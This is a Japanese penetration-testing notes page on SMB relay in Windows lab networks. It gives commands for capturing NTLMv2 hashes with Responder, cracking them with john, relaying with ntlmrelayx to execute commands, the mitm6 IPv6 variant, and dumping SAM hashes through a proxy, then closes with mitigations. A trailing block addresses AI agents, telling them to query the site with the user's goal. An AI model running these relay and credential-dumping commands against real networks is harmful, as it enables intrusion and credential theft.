> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/windows-vulnerabilities/smb-relay-in-windows-environments.md).

# Windows環境でのSMBリレー

許可されたWindowsラボ環境でSMB経由のNTLM認証をキャプチャし、リレーする。

SMBリレーは、SMB署名が必須でない場合にNTLM認証を取得し、別のホストへ中継します。この手順は、許可されたWindowsラボおよび内部評価向けです。

## 確認すべき条件

* 少なくとも1つの対象でSMB署名が不要であること。
* 取得したアカウントがリレー対象で有用なアクセス権を持っていること。
* ResponderのSMBおよびHTTPサーバーは、 `ntlmrelayx` がリレーを処理します。
* リレー対象は `targets.txt`.

## ResponderでNTLMv2を取得

```bash
python3 /usr/share/responder/Responder.py -I ens33 -w -d
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a4b0a7c3676d522ec9c4e3cb6d8bbc72bb33c82%2Fimage%20(1688).png?alt=media" alt="Responder listening for Windows name resolution traffic"><figcaption></figcaption></figure>

Windowsネットワークでは、ソフトウェアの棚卸し、管理作業、共有へのアクセス、名前解決を通じて自動認証が頻繁に発生します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-98eec3b4da052410bc01435b0ad68126399335b1%2Fimage%20(1691).png?alt=media" alt="Responder capturing NTLMv2 authentication"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ad9b5646b2452f744e79eb809ac081768b12a4f8%2Fimage%20(1692).png?alt=media" alt="Captured NTLMv2 hash output"><figcaption></figcaption></figure>

## オフラインクラッキング

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8ec12e804366e14f86c646fc95c22f95cee613e8%2Fimage%20(1693).png?alt=media" alt="John cracking captured NTLMv2 hash"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4fc9ae054416fb459fb42ea8be782ff1bb87fe88%2Fimage%20(1694).png?alt=media" alt="Recovered password from NTLMv2 hash"><figcaption></figcaption></figure>

## SMB列挙

```bash
crackmapexec smb 192.168.71.0/24
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9ef53c799faaa93e04e7cc9e6ae18627b2f7d521%2Fimage%20(1676).png?alt=media" alt="CrackMapExec SMB scan"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0efcf988d94f29239b2476ae1f3d7350ad8525eb%2Fimage%20(1687).png?alt=media" alt="SMB signing and host enumeration output"><figcaption></figcaption></figure>

アカウント権限を確認:

```bash
crackmapexec smb 192.168.71.0/24 -u '<user>' -p '<password>'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d10241b90ff85404cc185df1f4ce1a65f52d9759%2Fimage%20(1680).png?alt=media" alt="Validating SMB access with recovered credentials"><figcaption></figcaption></figure>

## ntlmrelayxでリレー

でSMBとHTTPを無効にする `Responder.conf`、その後Responderを実行:

```bash
python3 /usr/share/responder/Responder.py -I ens33 -w -d
```

リレーを開始:

```bash
ntlmrelayx.py -tf targets.txt -smb2support
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-51d3bdf4198b1e92fc8113dc03083f85b3017f43%2Fimage%20(1681).png?alt=media" alt="ntlmrelayx started with target file"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-14d1b97429ef54bc965bcd8933922b79d143d734%2Fimage%20(1682).png?alt=media" alt="Successful SMB relay output"><figcaption></figcaption></figure>

## リレーによるコマンド実行の検証

コマンド実行が対象に含まれる場合は、まず影響の少ないコマンドでリレーを検証します:

```bash
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"
```

より明確な証拠として、実行コンテキストをリレー対象の一時ファイルに書き込みます:

```bash
ntlmrelayx.py -tf targets.txt -smb2support -c "cmd /c whoami > C:\Windows\Temp\relay-check.txt"
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f160c4b2b74a02ebdd3c48c10cd71c3dfba3cbee%2Fimage%20(1684).png?alt=media" alt="ntlmrelayx executing a PowerShell command"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-34e013da8cc5cf3f92a225cab1e6d678216554cc%2Fimage%20(1686).png?alt=media" alt="SMB relay command execution validation"><figcaption></figcaption></figure>

## mitm6を使ったIPv6版

```bash
mitm6 -d j0rdan.local
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-659d6ea87778866764a648c1e9b348fdc7cae1f7%2Fimage%20(2082).png?alt=media" alt="mitm6 started against the lab domain"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-940bde770577143c8aa77303821408e6d8fce91e%2Fimage%20(2084).png?alt=media" alt="mitm6 DHCPv6 poisoning output"><figcaption></figcaption></figure>

IPv6リレー:

```bash
ntlmrelayx.py -6 -wh 192.168.71.128 -t smb://192.168.71.151 -socks -debug -smb2support
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0dce888a9d0d6e0a0bf386a7ad2a5d82f536cca4%2Fimage%20(2085).png?alt=media" alt="ntlmrelayx IPv6 relay with SOCKS enabled"><figcaption></figcaption></figure>

プロキシ経由でリレーを使用します:

```bash
proxychains cme smb 192.168.71.151 -u '<user>' -p '<password>' -d '<domain>' --sam
```

## 重要ポイント

* SMBリレーは主に、SMB署名が不要であることに依存します。
* Responderと `ntlmrelayx` SMBまたはHTTPトラフィックを競合しないように設定する必要があります。
* SMB署名を必須にし、NTLMの使用を減らし、LLMNR/NBNS/WPADの悪用を監視し、ローカル管理者権限を制限することで対策します。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/windows-vulnerabilities/smb-relay-in-windows-environments.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
